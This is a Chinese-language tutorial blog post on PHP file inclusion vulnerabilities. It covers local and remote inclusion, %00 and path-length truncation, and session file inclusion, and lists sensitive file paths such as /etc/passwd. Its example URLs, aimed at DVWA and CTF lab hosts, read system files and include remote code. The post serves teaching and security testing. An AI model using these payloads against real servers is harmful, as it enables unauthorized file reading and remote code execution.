3、文件包含漏洞

3、文件包含漏洞

3.1、文件包含漏洞简介

文件包含函数的参数没有经过过滤或者严格的定义,并且参数可以被用户控制,如果文件中存在恶意代码,无论文件是什么类型,文件内的恶意代码都会被解析并执行。

3.2、文件包含漏洞常见函数

PHP中的文件包含函数有以下4中:

(1)include()
(2)include_once()
(3)require()
(4)require_once()

3.3、无限制本地文件包含漏洞

无限制本地文件包含漏洞是指代码中没有包含文件指定的前缀或者.php、.html等扩展名,因此攻击者可以利用文件包含漏洞读取操作系统中的其他文件。

3.3.1、常见的敏感信息路径

(1)windows系统常见敏感文件如下:

c:\boot.ini 系统版本信息
c:\xxx\php.ini PHP配置信息
c:\xxx\my.ini MySQL配置信息
c:\xxx\httpd.conf Apache配置信息

(2)Linux系统常见敏感文件

/etc/passwd Linux系统账号信息
/etc/httpd/conf/httpd.conf Apache配置信息
/etc/my.conf MySQL配置信息
/urs/etc/php.ini PHP配置信息

3.3.2、利用无限制本地文件包含漏洞执行代码

找到一个有文件包含漏洞的页面,然后输入http://ip/xxx/xxx.php?filename=test.txt
而test.txt的内容是<?php phpinfo();?>

3.4、有限制本地文件包含漏洞

有限制本地文件包含漏洞是指代码中为包含文件指定了特定的前缀.php、.html等扩展名,攻击者需要绕过前缀或者扩展名过滤,才能利用文件包含漏洞。

3.4.1、%00截断文件包含
%00会被认为是结束符,后面的数据会被直接忽略,导致扩展名截断。

注意:

magic_quotes_gpc=off
PHP版本低于5.3.4

例如:

http://www.dvwa.com/index.php?filename=…/…/…/…/…/…/…/…/…/…/…/boot.ini%00
通过%00截断了后面.html扩展名过滤,可以读取boot.ini文件的内容。

3.4.2、路径长度截断文件包含

我们可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名截断。

windows下目录的最大路径为256B
Linux下目录的最大路径为4096B

例如:

http://www.dvwa.com/index.php?filename=test.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
此时可以截断后面.html扩展名,包含了test.txt文件。

3.4.3、点号截断文件包含

当点号的长度大于256B时,就可以造成扩展名截断。跟上面路径长度截断一样。

3.5、Session文件包含

当可以获取Session文件的路径并且Session文件的内容可控是,就可以利用它进行攻击。

我们可以通过phpinfo中的session.save_path保存的是Session的存储位置。其次我们通过猜测,Linux中Session默认存储在/var/lib/php/session目录下。

这里我就不写演示了,可以参考下面这个案例,很全。

https://www.cnblogs.com/xiaoxiaosen/p/13066501.html

3.6、远程文件包含

3.6.1无限制远程文件包含
无限制远程文件包含是指包含文件的位置并不是本地服务器,而是通过URL的形式巴汗其他服务器上的文件,执行文件中的恶意代码。

漏洞利用条件:

allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)

测试代码:

http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.13/FI/php.txt
此时192.168.91.13服务器上php.txt中的PHP代码被执行

3.6.1、有限制远程文件包含

可以通过问号,井号,空格绕过。

3.7、日志文件包含

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值